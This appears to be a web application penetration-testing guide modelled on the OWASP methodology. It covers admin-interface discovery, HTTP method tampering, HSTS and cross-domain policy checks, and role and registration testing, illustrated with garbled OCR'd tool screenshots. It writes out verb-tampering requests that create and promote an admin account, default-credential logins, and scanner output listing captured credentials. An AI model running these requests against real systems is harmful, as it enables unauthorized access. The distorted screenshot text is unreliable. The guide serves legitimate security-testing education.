• Enumerate all of application's pages and functionality: This can be done manually using a browser, or using an application spidering tool. Most applications use a recognisable naming scheme, and organise resources into pages and directories using words that describe their function. From the naming scheme used for published content, it is often possible to infer the name and location of unreferenced pages. For example, if a page viewuser.asp is found, then look also for edituser.asp, adduser.asp and deleteuser.asp. If a directory /app/user is found, then look also for /app/admin and /app/manager.



• Other clues in published content: Many web applications leave clues in published content that can lead to the discovery of hidden pages and functionality. These clues often appear in the source code of HTML and JavaScript files. The source code for all published content should be manually reviewed to identify clues about other pages and functionality.

e = {"url":"https:///infosecaddicts.com//wp-admin//admin-ajax.ph

Another source of clues about unreferenced directories is the /robots.txt file used to provide instructions to web robots.



• Information obtained through server vulnerabilities and misconfiguration



○ ▲ https://phpapp.infosecaddicts.com/images/

Index of /images

	<u>Name</u>	Last modified	<u>Size</u>	Description
>	Parent Directory		-	
🛐	Compaq.jpg	2018-09-18 16:18	1 9K	
?	Thumbs.db	2018-09-18 16:18	235K	
5	a1.jog.jpg	2018-09-18 16:18	16K	
5	<u>a2.jpg</u>	2018-09-18 16:18	15K	
5	<u>a3.jpg</u>	2018-09-18 16:18	15K	
5	a4.jpg	2018-09-18 16:18	10 K	
5	<u>a5.jpg</u>	2018-09-18 16:18	34K	
5	acer.jpg	2018-09-18 16:18	5.3K	
5	c1.jpg	2018-09-18 16:18	5.9K	
5	c2.jpg	2018-09-18 16:18	7.1K	
5	c3.jpg	2018-09-18 16:18	6.3K	
5	c4.jpg	2018-09-18 16:18	6.7K	
5	c5.jpg	2018-09-18 16:18	8.0K	
5	c6.jpg	2018-09-18 16:18	1.9K	
5	<u>d1.jpg</u>	2018-09-18 16:18	6.3K	
	d2.jpg	2018-09-18 16:18	6.3K	
5	d3.jpg	2018-09-18 16:18	2.2K	
5	d4.jpg	2018-09-18 16:18	1.2K	
5	d5.jpg	2018-09-18 16:18	3.5K	

• Use of publicly available information: google hack, shodan.io

5. Enumerate Infrastructure and Application Admin Interfaces

Black box and Gray box Testing

The following describes vectors that may be used to test for the presence of administrative interfaces. These techniques may also be used for testing for related issues including privilege escalation and are described elsewhere in this guide in greater detail:

• Directory and file Enumeration - An administrative interface may be present but not visibly available to the tester. Attempting to guess the path of the administrative interface may be as simple

as requesting: /admin or /administrator etc.. A tester may have to also identify the filename of the administration page. Forcibly browsing to the identified page may provide access to the interface.



• Comments and links in Source - Many sites use common code that is loaded for all site users. By examining all source sent to the client, links to administrator functionality may be discovered and should be investigated.

e = { "url": "https:///infosecaddicts.com//wp-admin//admin-ajax.ph



• Reviewing Server and Application Documentation - If the application server or application is deployed in its default configuration it may be possible to access the administration interface using information described in configuration or help documentation. Default password lists should be consulted if an administrative interface is found and credentials are required.

📙 wp-admin 🔹 🚰 😨 🖛 🔹 📼 🔂 🔂 😭 😭 🔀 🔯 Find Files										
🗄 📄 Download 👻 📝 Edit 👻 🛒 🕞 Properties 🚔 New 🗸 💽										
/owaspbwa/owaspbwa-svn/var/www/wordpress/wp-admin/										
Name	Size	Changed	Rights	Owner						
t		3/21/2012 3:12:35 AM	rwxr-xr-x	www-data						
images		3/21/2012 3:12:35 AM	rwxr-xr-x	www-data						
import		3/21/2012 3:12:35 AM	rwxr-xr-x	www-data						
admin.php	3 KB	3/22/2010 3:12:30 AM	rwxrr	www-data						
admin-db.php	10 KB	3/22/2010 3:12:30 AM	rwxrr	www-data						
admin-footer.php	1 KB	3/22/2010 3:12:30 AM	rwxrr	www-data						
admin-functions.php	57 KB	3/22/2010 3:12:30 AM	rwxrr	www-data						
🧾 admin-header.php	10 KB	3/22/2010 3:12:30 AM	rwxrr	www-data						
🧾 bookmarklet.php	3 KB	3/22/2010 3:12:30 AM	rwxrr	www-data						
🦳 categories.php	6 KB	3/22/2010 3:12:30 AM	rwxrr	www-data						
🧾 edit.php	8 KB	3/22/2010 3:12:30 AM	rwxrr	www-data						
🧾 edit-comments.php	8 KB	3/22/2010 3:12:30 AM	rwxrr	www-data						
🧾 edit-form.php	4 KB	3/22/2010 3:12:30 AM	rwxrr	www-data						
edit-form-advanced.php	10 KB	3/22/2010 3:12:30 AM	rwxrr	www-data						
🧾 edit-form-ajax-cat.php	1 KB	3/22/2010 3:12:30 AM	rwxrr	www-data						
edit-form-comment.php	5 KB	3/22/2010 3:12:30 AM	rwxrr	www-data						
🥮 edit-link-form.php	12 KB	3/22/2010 3:12:30 AM	rwxrr	www-data						
http://192.168.222.136 POST /wordpress/wp-login.php	√ 302	799 HTML php	,	192.168.222.136						
Request Response		_								
Raw Params Headers Hex										
<pre>vet. 192. 160.222.136 ver.Agent: Notlin/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko// rept: text/htal,application/stal:qn0.5 cept-Language: en-CB, en:qn0.5 cept-Encoding: grip, deflate ferr: http://152.166.202.136/wordpress/wp-login.php?redirect_to=%2 ntent-Type: application/x-www-form-urlencoded ntent-Lenpth: 70 okis: dbx=postmatagrabit=0-,1-,2-,3-,4-,5-,6-&advancedstuff=0-,1-, grade-Insecure-Requests: 1</pre>	20100101 Firefox/58.C .8 Fwordpress%2Fwp-admir 2-; PHPSESSID=et8etmi	t⊆F kpn5tmpb7j36avn4fv2; acopendivids=swi	ngset,jotto,phphb2,redmine;	acgroupswithpersist=nav						
g=admin&pwd=admin&submit=Login+%C2%BB&redirect_to=%2Fwordpress%2Fwp	-admin%2F									
80 http://192.168.222.136 POST //wordpress/wp-admin/ 302 799 HTML php 192.168.222.136 wordpressure_2 82 http://192.168.222.136 GET //wordpress/wp-admin/ 200 10817 HTML Broken WordPress &rsa 192.168.222.136 4 192.168.222.136										
Request Response										
Raw Headers Hex HTML Render										
Broken WordPress (View site »)										
Dashboard Write Manage Links Presentation Plugins Users Options Import myGallery										

• Alternative Server Port - Administration interfaces may be seen on a different port on the host than the main application. For example, Apache Tomcat's Administration interface can often be seen on port 8080.

	Home Documenta	tion Configuration Examples	Wiki Mailing Lists	Find Help							
	Apache Tomca	at/7.0.73	-	The Apache Software Foundation							
	If you're seeing this, you've successfully installed Tomcat. Congratulations!										
		Recommended Reading:		Server Status							
		Security Considerations HOW-TO		Manager App							
		Manager Application HOW-TO Clustering/Session Replication H	OW-TO	Host Manager							
		<u></u>	<u> </u>								
	Developer Quick S	itart									
	Tomcat Setup	Realms & AAA	Examples	Servlet Specifications							
← → で ① ww 401 Unauthe	w.tzg-infocenter.com:8080/ma	inager/html									
← → C ① www 401 Unauther You are not authorized to	w.tzg-infocenter.com:8080/ma orized o view this page. If you have not ch	nager/html naged any configuration files, please examine th	e file [conf/tomcat-users.xm] in your ins	stallation. That file must contain the credentials to let you use this we							
← → C ① ww 401 Unauthover authorized to For example, to add the for example.	w.tzg-infocenter.com:8080/ma orized o view this page. If you have not ch manager-guil tole to a user named	nager/html nanged any configuration files, please examine th tomcat with a password of s3cret, add the fol	e file <u>conf/tomcat-users.xml</u> in your ins lowing to the config file listed above.	stallation. That file must contain the credentials to let you use this we							
← → C ① www 401 Unauther You are not authorized to For example, to add the [<	w.tzg-infocenter.com:8080/ma orized o view this page. If you have not ch manager-gui <u>role to a user named</u> ger-gui <u>r/</u> > at ^{**} password="\$2cret" roles=	nager/html nanged any configuration files, please examine th <u>tomcat</u> with a password of <u>s3cret</u> , add the fo	e file [conf/tomcat-users.xm] in your ins lowing to the config file listed above.	stallation. That file must contain the credentials to let you use this we							
C www. Workshowski with the second secon	w.tzg-infocenter.com:8080/ma orized b view this page. If you have not ch manager-gui lole to a user named iger-gui "/> at" password="32cret" roles= nwards, the roles required to use th	nager/html hanged any configuration files, please examine th <u>tomcat</u> with a password of <u>s3cret</u> , add the for "manager -gui"/> he manager application were changed from the si	e file [conf/tomcat-users.xm] in your ins lowing to the config file listed above. Ingle [manager] role to the following four ro	stallation. That file must contain the credentials to let you use this we les. You will need to assign the role(s) required for the functionality y							
← → C ① www 401 Unauth You are not authorized to For example, to add the [(role rolename="manacuser" series Note that for Tomcat 7 ou • manager-guil, a • manager-script • manager-status • manager-status	w.tzg-infocenter.com:8080/ma orized o view this page. If you have not ch manager-gui role to a user named ager-guir/> at" password="s3cret" roles= nwards, the roles required to use th llows access to the HTML GUI and - allows access to the text interfac llows access to the HTML GUI and - allows access to the status page	<pre>inager/html ianged any configuration files, please examine th itomcat: with a password of sizeret, add the fo "manager-gui"/> the manager application were changed from the si the status pages the status pages the status pages sonly</pre>	e file [conf/tomcat-users.xm] in your ins lowing to the config file listed above. ngle [manager] role to the following four ro	stallation. That file must contain the credentials to let you use this we les. You will need to assign the role(s) required for the functionality y							
← → C ① www 401 Unauthe You are not authorized to For example, to add the [(role rolename="mana (user username="tom: manager-gui]-a manager-gui]-a manager-int(-a) manager-int(-a) manager-int(-a) manager-status The HTML interface is pro	w.tzg-infocenter.com:8080/ma orized o view this page. If you have not ch manager-gui <u>lole to a user named</u> ger-gui ⁺ /> at ⁺ password="53cret" roles= nwards, the roles required to use th llows access to the HTML GUI and - allows access to the text interface llows access to the text interface llows access to the status page otected against CSRF but the text at	<pre>inager/html ianged any configuration files, please examine th tomcat with a password of sizeret, add the fo "manager-gui"/> he manager application were changed from the si the status pages the status pages the status pages s only md JMX interfaces are not. To maintain the CSRF</pre>	e file [conf/tomcat-users.xm] in your ins lowing to the config file listed above. ngle [manager] role to the following four ro protection:	stallation. That file must contain the credentials to let you use this we les. You will need to assign the role(s) required for the functionality y							
← → C ① www 401 Unauthol You are not authorized to For example, to add the [forle rolename="mana duser username="tomc Note that for Tomcat 7 or manager_sui] = a manager_sui] = a manager_sui] = a manager_status The HTML interface is pro Users with the ima If the text or jmx If the text or jmx	w.tzg-infocenter.com:8080/ma orized o view this page. If you have not ch manager-guil tole to a user named ger-gui/>> at "password="s3cret" roles= nwards, the roles required to use th llows access to the HTML GUI and - allows access to the HTML GUI and - allows access to the HTML GUI and - allows access to the HTML but and - allows access to the status page totested against CSRF but the text a mager-guil role should not be gran interfaces are accessed through al	<pre>inager/html inaged any configuration files, please examine th i_tomcat_with a password of sacret_ add the for "manager-gui"/> he manager application were changed from the si the status pages the status pages s only nd JNL interfaces are not. To maintain the CSRF the either the [manager-script] or [manager-jm the either the [manager-script] or [manager-script]</pre>	e file <u>conf/tomcat-users.xml</u> in your ins lowing to the config file listed above. Ingle <u>manager</u> role to the following four ro protection: roles. e intended for tools not humans) then the	stallation. That file must contain the credentials to let you use this we les. You will need to assign the role(s) required for the functionality y browser must be closed afterwards to terminate the session.							
← → C ① www 401 Unauth You are not authorized to For example, to add the [forle rolename="mana duser username="tomc Note that for Tomcat 7 or manager_sul_ a manager_sul_ a manager_status The HTML interface is proper source of the text or jmx For more information - pl	w.tzg-infocenter.com:8080/ma orized o view this page. If you have not ch manager-guil tole to a user named ger-gui/> at "password="s3cret" roles= nwards, the roles required to use th llows access to the MIX proxy and - allows access to the MIX proxy and - allows access to the MIX proxy and - allows access to the status page otected against CSRF but the text a mager-guil role should not be gran interfaces are accessed through al lease see the <u>Manager App HOW-TI</u>	<pre>inager/html inager/html inaged any configuration files, please examine th i_tomcat_with a password of s3cret_ add the fo "manager-gui"/> he manager application were changed from the si the status pages the status pages the status pages s only nd JNL interfaces are not. To maintain the CSRF inted either the [manager-script] or [manager-jm throwser (e.g., for testing since these interfaces ar Q.</pre>	e file <u>conf/tomcat-users.xml</u> in your ins <u>lowing to the config file listed above</u> ngle <u>manager</u> role to the following four ro protection: roles. e intended for tools not humans) then the	stallation. That file must contain the credentials to let you use this we les. You will need to assign the role(s) required for the functionality y browser must be closed afterwards to terminate the session.							
← → C ① www 401 Unauth You are not authorized to For example, to add the [(role rolename="mana cuser username="totoc Note that for Tomcat 7 o	w.tzg-infocenter.com:8080/ma orized o view this page. If you have not ch manager-guil [ole to a user named ager-gui//) at" password="s3cret" roles= mwards, the roles required to use th lows access to the HTML GUI and - allows access to the text interfac llows access to the HTML GUI and - allows access to the text interfac llows access to the stuk proxy and - allows access to the stuk page otected against CSRF but the text a interfaces are accessed through a lease see the <u>Manager App HOW-T</u>	<pre>inager/html inaged any configuration files, please examine th itomcat: with a password of sizeret, add the for "manager-gui"/> he manager application were changed from the si the status pages te and the status pages t</pre>	e file [conf/tomcat-users.xm] in your ins lowing to the config file listed above. ngle manager role to the following four ro protection: roles. e intended for tools not humans) then the	stallation. That file must contain the credentials to let you use this we les. You will need to assign the role(s) required for the functionality y browser must be closed afterwards to terminate the session.							
← → C ① www 401 Unauthol You are not authorized to For example, to add the (role rolename="manacuser"tomcar 7 o Note that for Tomcat 7 o	w.tzg-infocenter.com:8080/ma orized b view this page. If you have not ch manager-guil lole to a user named ger-guir/> at" password="33cret" roles= mwards, the roles required to use th llows access to the HTML GUI and - allows access to the HTML GUI and - allows access to the status page otected against CSRF but the text at mager_guil role should not be gran interfaces are accessed through al lease see the Manager App HOW-TI ampering - A GI	inager/html itanged any configuration files, please examine th itancat with a password of storet, add the for "manager-gui"/> the manager application were changed from the si the status pages the status pages the status pages s only md JMX interfaces are not. To maintain the CSRF the deither the manager-script or manager-jm trowser (e.g. for testing since these interfaces ar 0. ET or POST parameter	e file conf/tomcat-users.xml in your ins lowing to the config file leted above. ngle manager role to the following four ro protection: roles. e intended for tools not humans) then the or a cookie variable	stallation. That file must contain the credentials to let you use this we les. You will need to assign the role(s) required for the functionality y browser must be closed afterwards to terminate the session. e may be required to enable							
← → C ① ww 401 Unauth You are not authorized to For example, to add the [(role rolename*tome Note that for Tomcat 7 o • manager-script • manager-script • manager-status The HTML interface is proper information - pl • Our once information - pl • Parameter T • the administ	w.tzg-infocenter.com:8080/ma orized o view this page. If you have not ch manager-guil <u>tole to a user named</u> ger-gui-/> at" password="s3cret" roles= mwards, the roles required to use th illows access to the HTML GUI and - allows access to the HTML GUI and - allows access to the text interface illows access to the status page otected against CSRF but the text at manger-guil role should not be gran interfaces are accessed through a l lease see the <u>Manager App HOW-T</u> I Campering - A GI trator functionali	Inager/html Inaged any configuration files, please examine th Itomcat with a password of s3cret, add the for "manager-gui"/> the status pages the status pages the status pages s only Ind JMX interfaces are not. To maintain the CSRF ted either the Imanager-script) or Imanager-file browser (e.g. for testing since these interfaces ar Q. ET or POST parameter ty.	e file conf/tomcat-users.xml in your ins lowing to the config file leted above. ngle manager role to the following four ro protection: roles. e intended for tools not humans) then the or a cookie variable	stallation. That file must contain the credentials to let you use this we les. You will need to assign the role(s) required for the functionality y browser must be closed afterwards to terminate the session. e may be required to enable							





HINT: check the cookies...



6. Test HTTP Methods

HTTP offers a number of methods that can be used to perform actions on the web server. Many of theses methods are designed to aid developers in deploying and testing HTTP applications.

While GET and POST are by far the most common methods that are used to access information provided by a web server, the Hypertext Transfer Protocol (HTTP) allows several other (and somewhat less known) methods:

- HEAD
- GET
- POST
- PUT
- DELETE
- TRACE
- OPTIONS
- CONNECT

Some of these methods can potentially pose a security risk for a web application, as they allow an attacker to modify the files stored on the web server and, in some scenarios, steal the credentials of legitimate users. More specifically, the methods that should be disabled are the following:

- PUT: This method allows a client to upload new files on the web server. An attacker can exploit it by uploading malicious files (e.g.: an asp file that executes commands by invoking cmd.exe), or by simply using the victim server as a file repository
- DELETE: This method allows a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to mount a DoS attack
- CONNECT: This method could allow a client to use the web server as a proxy
- TRACE: This method simply echoes back to the client whatever string has been sent to the

server, and is used mainly for debugging purposes.

Black Box Testing

Discover the Supported Methods



Find a page you'd like to visit that has a security constraint such that it would normally force a 302 redirect to a login page or forces a login directly. The test URL in this example works like this - as do many web applications. However, if you obtain a "200" response that is not a login page, it is possible to bypass authentication and thus authorization.

www.example.com 80 JEFF / HTTP/1.1 Host:

www.example.com HTTP/1.1 200 OK

Date: Mon, 18 Aug 2008 22:38:40 GMT

Server: Apache

Set-Cookie: PHPSESSID=K53QW...

If your framework or firewall or application does not support the "JEFF" method, it should issue an error page (or preferably a 405 Not Allowed or 501 Not implemented error page). If it services the request, it is vulnerable to this issue.

If you feel that the system is vulnerable to this issue, issue CSRF-like attacks to exploit the issue more fully:

• FOOBAR /admin/createUser.php?member=myAdmin

- JEFF /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123
- CATS /admin/groupEdit.php?group=Admins&member=myAdmin&action=add
- HEAD /admin/createUser.php?member=myAdmin

With some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an admin.

7. Test HTTP Strict Transport Security

The HTTP Strict Transport Security (HSTS) header is a mechanism that web sites have to communicate to the web browsers that all traffic exchanged with a given domain must always be sent over https.

Considering the importance of this security measure it is important to verify that the web site is using this HTTP header, in order to ensure that all the data travels encrypted from the web browser to the server.

The HTTP Strict Transport Security (HSTS) feature lets a web application to inform the browser, through the use of a special response header, that it should never establish a connection to the specified domain servers using HTTP. Instead it should automatically establish all connection requests to access the site through HTTPS.

The HTTP strict transport security header uses two directives:

- max-age: to indicate the number of seconds that the browser should automatically convert all HTTP requests to HTTPS.
- includeSubDomains: to indicate that all web application's sub-domains must use HTTPS.

Here's an example of the HSTS header implementation:

Strict-Transport-Security: max-age=60000; includeSubDomains

The use of this header by web applications must be checked to find if the following security issues could be produced:

• Attackers sniffing the network traffic and accessing the information transferred through an unencrypted channel.

•) 📕 📕 🔬	The second sec	2, ← ⇒ .2 ∓ ±		ର୍ ଦ୍ 👫	M 🛛 🌄
Filter:	http.request.m	nethod == "POST"	Exp	ression Clear Ap	oply Save	
No.	Time	Source	Destination	Protocol I	Length Info	
12	5 6.74766400	0 192.168.222.129	192.168.222.136	HTTP	671 POST	/dvwa/login.p
🕨 Fran	ne 125: 671 by	ytes on wire (5368 b:	its), 671 bytes captu	red (5368 bits)	on interfac	e 0
▶ Ethe	rnet II, Src	: Vmware_f4:f3:27 (00	0:0c:29:f4:f3:27), Ds	t: Vmware_8f:ca:	:00 (00:0c:2	9:8f:ca:00)
▶ Inte	rnet Protoco	l Version 4, Src: 192	2.168.222.129 (192.16	8.222.129), Dst:	: 192.168.22	2.136 (192.16
▶ Trar	smission Con	trol Protocol, Src Po	ort: 39248 (39248), D	st Port: 80 (80)), Seq: 952,	Ack: 1816, L(
Нуре	rtext Transf	er Protocol				
🔻 HT ML	. Form URL En	coded: application/x	www-form-urlencoded			
▶ Fo	rm item: "use	ername" = "admin"				
▶ Fo	rm item: "pas	ssword" = "admin"				
> Fo	rm item: "Log	jin" = "Login"				

- Attackers exploiting a man in the middle attack because of the problem of accepting certificates that are not trusted.
- Users who mistakenly entered an address in the browserputting HTTP instead of HTTPS, or users who click on a link in a web application which mistakenly indicated the http protocol.

<pre>[+] Analyzing HTTP header of https://google-gruyere.appspot.com/6635785984805 07596515913541187634548560/login **************************</pre>
<pre>[I] Server: Google Frontend [V] Server does not enforce HTTP Strict-Transport-Security.[Value: Missing]</pre>
Randomizing 255 hosts for scanning Scanning the whole netmask for 255 hosts * ====================================
HTTP : 172.217.24.52:80 -> USER: admin PASS: admin INF0: http://google-gruyere .appspot.com/367484971926835948767215316604991514356/login HTTP : 74.125.130.153:80 -> USER: admin PASS: admin INF0: /3674849719268359487 67215316604991514356/login?uid=admin&pw=admin

How to test

• I have wrote a tool which can analyze header, contact to me to get this tool for free.

<pre>[+] Analyzing HTTP header of https://facebook.com **********************************</pre>
[I] HTTP Strict-Transport-Security is being enabled [Value: max-age=15552000; pr eload]
[I] Response header specifying a safe character set like UTF-8 [I] X-Frame-Options is being enabled [Value: DENY] [V] Server does not enforce X-XSS-Protection.[Value: 0] [I] X-Content-Type-Options is being enabled [Value: nosniff] [V] Server does not enfore Public Key Pinning HPKP. [Value: Missing] [V] Server does not enfore Content-Security-Policy. [Value: Missing] [I] Secure flag in Set-Cookie is being enabled [I] HttpOnly flag in Set-Cookie is being enabled [I] Path flag in Set-Cookie is being enabled [V] Anti Cross-Site Request Forgery Token is Missing in Set-Cookie. [Value: fr=0 LSQZ220ycf0qUj6JBajTCB.Mv.AAA.0.0.BajTCB.AWWU1Wzr; expires=Tue, 22-May-2018 08
:40:33 GMT; Max-Age=7775999; path=/; domain=.facebook.com; secure; httponly, sb= gTCNWhsPJdwI1EV7p81Aa8M3; expires=Fri, 21-Feb-2020 08:40:33 GMT; Max-Age=6307199 9; path=/; domain=.facebook.com; secure; httponly] *****************

• Burpsuite response

551 h	ttps://www.facebook.com	POST	/ajax/bz		\checkmark	200
-						
Request	Response					
Raw	Headers Hex					
HTTP/1.1	200 OK					
X-Frame-	Options: DENY					
content-	security-policy: defaul	t-src *	data: blob:;s	cript-src *.faceboo	k.com *.	fbcdn.net *.f
.spotil	ocal.com: 'unsafe-inli	ne' 'uns	safe-eval' fbs	tatic-a.akamaihd.ne	t fbcdn-	static-b-a.ak
*;connec	t-src *.facebook.com fa	acebook.c	com *.fbcdn.ne	t *.facebook.net *.	spotiloc	al.com:* *.ak
attachme	nt.fbsbx.com ws://local	host:* k	olob: *.cdnins	tagram.com 'self';		
X-XSS-Pr	otection: O					
Access-C	ontrol-Allow-Credential	s: true				
Access-C	ontrol-Allow-Origin: ht	tps://ww	ww.facebook.co	m		
Access-C	ontrol-Expose-Headers:	X-FB-Dek	oug, X-Loader-	Length		
Pragma:	no-cache					
Vary: Or	igin					
Access-C	ontrol-Allow-Methods: (PTIONS				
<mark>Strict</mark> -T	ransport-Security: max-	-age=1555	52000; preload			
Content-	Type: application/x-jau	/ascript;	; charset=utf-	8		
X-Conten	t-Type-Options: nosnifi	Ē				
Expires:	Sat, 01 Jan 2000 00:00):00 GMT				
Cache-Co	ntrol: private, no-cach	ne, no-st	core, must-rev	alidate		

8. Test RIA cross domain policy

RIAs are web-based services that perform the same functions as desktop application systems.

A cross-domain policy file specifies the permissions that a web client such as Java, Adobe Flash, Adobe Reader, etc. use to access data across different domains. For Silverlight, Microsoft adopted a subset of the Adobe's crossdomain.xml, and additionally created it's own cross-domain policy file: clientaccesspolicy.xml.

Whenever a web client detects that a resource has to be requested from other domain, it will first look for a policyfile in the target domain to determine if performing cross-domain requests, including headers, and socket-based connections are allowed.

Master policy files are located at the domain's root. A client may be instructed to load a different policy file but it will always check the master policy file first to ensure that the master policy file permits the requested policy file.

How to Test

We should try to retrieve the policy files crossdomain.xml and clientaccesspolicy.xml from the application's root and from every folder found.

← → ♂ ଢ	(i) testphp.vulnweb.com/crossdomain.xml
This XML file does not appear to	have any style information associated with it. The document tree is shown below.
– <cross-domain-policy> <allow-access-from domain<br=""></allow-access-from></cross-domain-policy>	="*" to-ports="*" secure="false"/>

After retrieving all the policy files, the permissions allowed should be checked under the least privilege principle. Requests should only come from the domains, ports, or protocols that are necessary. Overly permissive policies should be avoided. Policies with "*" in them should be closely examined.

3. F	3. Flash cross-domain policy								
Previo	Previous Next								
Sum	mary								
	Severity:	High							
	Confidence:	Certain							
	Host:	http://testphp.vulnweb.com							
	Path:	/crossdomain.xml							
Issue	e detail								

The application publishes a Flash cross-domain policy which allows access from any domain.

Request

GET /crossdomain.xml HTTP/1.1 Host: testphp.vulnweb.com Connection: close

Response

HTTP/1.1 200 OK Server: nginx/1.4.1 Date: Thu, 01 Feb 2018 09:40:41 GMT Content-Type: text/xml Content-Length: 224 Last-Modified: Tue, 11 Sep 2012 10:30:22 GMT Connection: close ETag: "504f12be-e0" Accept-Ranges: bytes <?xml version="1.0"?> <!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd"> <cross-domain-policy.dtd"> </cross-domain-policy.dtd"> <cross-domain-policy.dtd"> </cross-domain-policy.dtd"> </cross-domain-policy.dtd"</cross-domain-policy.dtd"> </cross-domain-policy.dtd"> </cross-domain-policy.dtd"</cross-domain-policy.dtd"> </cross-domain-policy.dtd"</cross-domain-policy.dtd"> </cross-domain-policy.dtd"</cross-domain-policy.dtd"</cross-domain-policy.dtd"> </cross-domain-policy.dtd"</cross-domain-policy.dtd"</cross-domain-policy.dtd"</cross-domain-policy.dtd"</cross-domain-policy.dtd"</cross-domain-policy.dtd"</cross-domain-policy.dtd"</cross-domain-policy.dtd"</cross-domain-policy.dtd"</cross-domain-policy.dtd"</cross-domain-policy.dtd"</cross-domain-policy.dtd"</cross-domain-policy.dtd"</cross-domain-policy.dtd"</cross-domain-policy.dtd"</cross-domain-policy.dtd"</cross-domain-

Identity Management Testing

1. Test Role Definition

Test objectives

Validate the system roles defined within the application sufficiently define and separate each system and business role to manage appropriate access to system function and information

How to test

Either with or without the help of the system dev or admin, develop an role versus permission matrix. The matrix will show and enumerate all the roles that can be provisioned and explore the permissions that are allowed to be applied to the objects including any constraints.

Example

In real world, I have pentested many wordpress site, example of role definitions in wordpress can be found at shown below link

• <u>https://codex.wordpress.org/Roles_and_Capabilities</u>

Tools

- You can approach this problem by manual test
- Spidering tools (Burp Suite) Log on with each role in turn and spider the application (don't forget to exclude the logout button/link from the spidering)
 With admin account, using spider option we have this below result and save this state to file

Burp Intruder Repeater Window Help												
Target Proxy Spider Scanner Intruder Repea	ter Sequencer	Decoder	Comparer	Extender	Project options	User options	Alerts					
Site map Scope												
- C X												
ilter: Hiding not found items; hiding CSS, image and general binary content; hidin												
http://192.168.222.136	Contents	? S	Select the ou	tput file to w	hich Burp's state	will be saved.						
V boots	Host	- <u> </u>					_					
► 🐏 index nhn	http://192.16	82	Select file									
▶ index.php												
🔰 🔽 👘 wp-admin						×						
▶ 🧐 wp-comments-post.php	(a									c		
► wp-includes	n: demofold	er 🔻		@ [-		
🕨 🌺 wp-login.php	nole											
▶ 🤓 wp-register.php	osrf html											
► S xmirpc.php												
wordpress												
						_						
File N	ime: admin a	ccount										
										1		
Files	f Type: All Files					•				-		
				_		_				1		
					Save	cel						
	Last-Modi	fi								2		
	Cache-Cont	r										
	Pragma: n Vary: Acco	- i						Deat				
	Content-L	en						Баск	Ne:	<u> </u>		

With normal user account, we also use spider option and get following result

Target Pro	oxy Spider	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User opti	ons A	lerts	
Site map Scope													
Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders													
T http://192.168.222.136													
💎 🍋 word	dpress												
► 👙 /					Host		Method	URL		Params	Status	Len	gth
► 👙 in	idex.php				http://192.168	3.222.136	GET	/wordpres	s/		200	735	A
🕨 🦲 W	vp-admin				http://192.168	3.222.136	GET	/wordpres	s/?cat=1	\checkmark	200	723	3
► 🎒 w	vp-comments-p	ost.php			http://192.168	3.222.136	GET	/wordpres	s/?feed=atom	\checkmark	200	266	5 🗸
► 🦲 v	vp-content				http://192.168	3.222.136	GET	/wordpres	s/?feed=com	\checkmark	200	166	3
▶ wp-includes			http://192.168	3.222.136	GET	/wordpres	s/?feed=rss	\checkmark	200	146	4		
🕨 🕨 🏧 w	vp-login.php				http://192.168	3.222.136	GET	/wordpres	s/?feed=rss2	\checkmark	200	265	3
► 🙆 v	vp-register.php				http://192.168	3.222.136	GET	/wordpres	s/?feed=rss2	\checkmark	200	164	3
wp-trackback php					http://192.168	3.222.136	GET	/wordpres	s/?feed=rss2	\checkmark	200	753	
► 🙆 x	miroc.php				http://192.168	3.222.136	GET	/wordpres	s/?feed=rss2	~	200	101	3
D word	doress				http://192.168	3.222.136	GET	/wordpres	s/?m=200909	1	200	651	5 M
						000 400	057			,		00.0	
					-				/				

Finally, use compare function to comparing two site map we've got


2. Test User Registration Process

Test Objectives

- Verify that the identity requirements for user registration are aligned *with business and security requirements*
- Validate the registration process

How to Test

Test list

- Determine who can register for access (anyone)?
- Are registrations are vetted by a human prior to provisioning or are they automatically granted if the criteria are met.
- Can the same person register multiple times?
- Can user register for different roles or permissions?
- What proof of identity is required for a registration to be successful?
- Are registered identities verified?
- Can identity information be easily forged or faked?
- Can the exchange of identity information be manipulated during registration process?

Tools

- Manual test
- HTTP proxy (Burp Suite, ZAP)

Example

In the wordpress example below, the only identification requirement is an email address that is accessible to the registrant.

WORDPRESS
Register for this blog
lisername.
E-mail:
A password will be emailed to you.
Register »
" Pack to blog Login Lost your password?

In the Google example below, the identification requirements include name, date of birth, country, mobile phone number and two of the can be verified (Email and mobile phone number).

One account is all you need	Name			
One free account gets you into everything Google.	First	Last		
	Choose your username			
	I prefer to use my current er	mail addre		
	Create a password			
Take it all with you				
Switch between devices, and pick up wherever you left off.	Confirm your password			
	Birthday			
	Month \$	Day		
	Gender	Gender		
	I am			
	Mobile phone			
	* +84			
	Your current email addres	iS		
	Location			
	Vietnam (Việt Nam)			

@gmail.com

5.5

Year

\$

\$

3. Test Account Provisioning Process

Secure | https://accounts.google.com/SignUp?hl=en

Test Objective

Verify which account may provision other account and of

what type How to test

Test List

- Is there any verification, vetting and authorization of provisioning requests?
- Is there any verification, vetting and authorization of de-provisioning requests?
- Can an administrator provision other administrators or just users?
- Can an administrator or other user provision accounts with privileges greater than their own? Can an administrator or user de-provision themselves?
- How are the files or resources owned by the de-provisioned user managed? Are they deleted? Is access transferred

Example

In WordPress, only a user's name and email address are required to provision the user, as shown below

C' û	(i) 🔏 192.168.222.136/wordpress/w	o-admin/users.php	•	። 🛡 🕁	Q Search	lii\
						Update »
Add New Us	ser					
Users can register them	selves or you can <mark>manually create users</mark>	here.				
	Nickname]			
	First Name]			
	Last Name]			
	E-mail					
	Website]			
	Password (twice)]			
						Add User »

De-provisioning of users requires the admin to select the user to be de-provisioned, select delete from the dropdown menu and applying this action. The administrator is then presented with a dialog box asking what to do with the de-provisioning user's post (delete or transfer them).

User List by Role										
Administrator										
ID	U	sername	Name	E-mail	Website	Posts				
□ 1	admin			admin@example.org	2	Edit				
Subscrib	ber									
ID	u	Isername	Name	E-mail	Website	Posts				
3	555-555-0199@example.co	m		winter@example.com		0	Edit			
⊻ 4	abc			abc@abc.com		0	Edit			
□ <u>2</u>	user	Administrator		user@example.org		0	Edit			
Update Users Author Contributor										
